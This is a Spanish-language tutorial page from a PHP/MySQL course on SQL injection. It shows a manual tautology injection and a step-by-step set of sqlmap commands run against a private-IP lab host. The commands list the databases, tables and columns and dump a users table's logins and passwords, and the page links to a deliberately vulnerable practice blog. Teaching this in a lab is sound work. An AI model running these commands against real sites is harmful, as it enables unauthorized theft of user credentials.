Curso de PHP馃悩 y MySql馃惉 [63.- Que es SQL Inyecci贸n馃拤 y como usar sqlmap]

En este tutorial vamos a aprender a menejar SQL Inyecci贸n馃拤 en nuestras consultas de mysql y ademas usaremos sqlmap para hacer inyecciones mas avanzadas para poder sacar mas informaci贸n que de forma manual.

Injeccion de codigo sql de forma manual:
SELECT * FROM productos where existencia='39';
SELECT * FROM productos where existencia='39' or '1=1';

Descubrir la BD

sqlmap -u http://192.168.8.103/cat.php?id=2 --dbs

Descubrir las Tablas

sqlmap -u http://192.168.8.103/cat.php?id=2 -D photoblog --tables

Descubrir las Columnas

sqlmap -u http://192.168.8.103/cat.php?id=2 -D photoblog -T users --columns

Obtener los datos

sqlmap -u http://192.168.8.103/cat.php?id=2 -D photoblog -T users -C id,login,password --dump

馃帵Sqlmap en Kali Linux: https://www.youtube.com/watch?v=TRR5TWr-HFI
馃帵Instalar kali linux en una usb desde windows 10: https://youtu.be/6POGcKizDts
馃帵Blog con vulnerabilidades para hacer pentatesting con kali linux 馃悶:https://www.youtube.com/watch?v=EuYJSXqngTY

馃帵 Esta lista de reproducci贸n: https://www.youtube.com/playlist?list=PLCTD_CpMeEKS2Dvb-WNrAuDAXObB8GzJ0

Codigos en gdrive: https://drive.google.com/file/d/1tQwYvfL2jiUFc6beTWkOkGmXkq5zzFw2/view?usp=sharing
Gracias por apoyar este canal: https://www.patreon.com/programadornovato?fan_landing=true

馃敆 Facebook: https://facebook.com/ProgramadorNovatoOficial
馃敆 Twitter: https://twitter.com/programadornova
馃敆 Linkedin: https://www.linkedin.com/in/programadornovato/
馃敆 Instagram: https://www.instagram.com/programadornovato/

Eugenio Chaparro

Entradas recientes

馃煝Editar c贸digo de un m贸dulo en Dolibarr [04]

馃煝Editar c贸digo de un m贸dulo en Dolibarr [04]

En este tutorial vamos editar el c贸digo de nuestro m贸dulo personas para poder personalizar algunas…

2 meses hace
馃煝Crear un sub_m贸dulo en Dolibarr [03]

馃煝Crear un sub_m贸dulo en Dolibarr [03]

En este tutorial vamos a crear un sub m贸dulo llamado seguridad que ser谩 muy parecido…

2 meses hace
馃煝Modificar un m贸dulo en Dolibarr [02]

馃煝Modificar un m贸dulo en Dolibarr [02]

En este tutorial aprenderemos a editar el objeto personas del modulo persona que creamos en…

2 meses hace
馃煝Constructor de m贸dulos en Dolibarr

馃煝Constructor de m贸dulos en Dolibarr

Como mencionamos anteriormente Dolibarr es un proyecto realizado sobre la base de una pol铆tica clara:…

2 meses hace
馃煝Tickets en Dolibarr [19]

馃煝Tickets en Dolibarr [19]

Los ticket en dolibarr nos ayudan a comunicar inconveniente en nuestros productos y servicios dentro…

2 meses hace
馃煝Agenda en Dolibarr [18]

馃煝Agenda en Dolibarr [18]

Las agendas en dolibarr nos ayudan a ver las actividades realizadas en proceso y por…

2 meses hace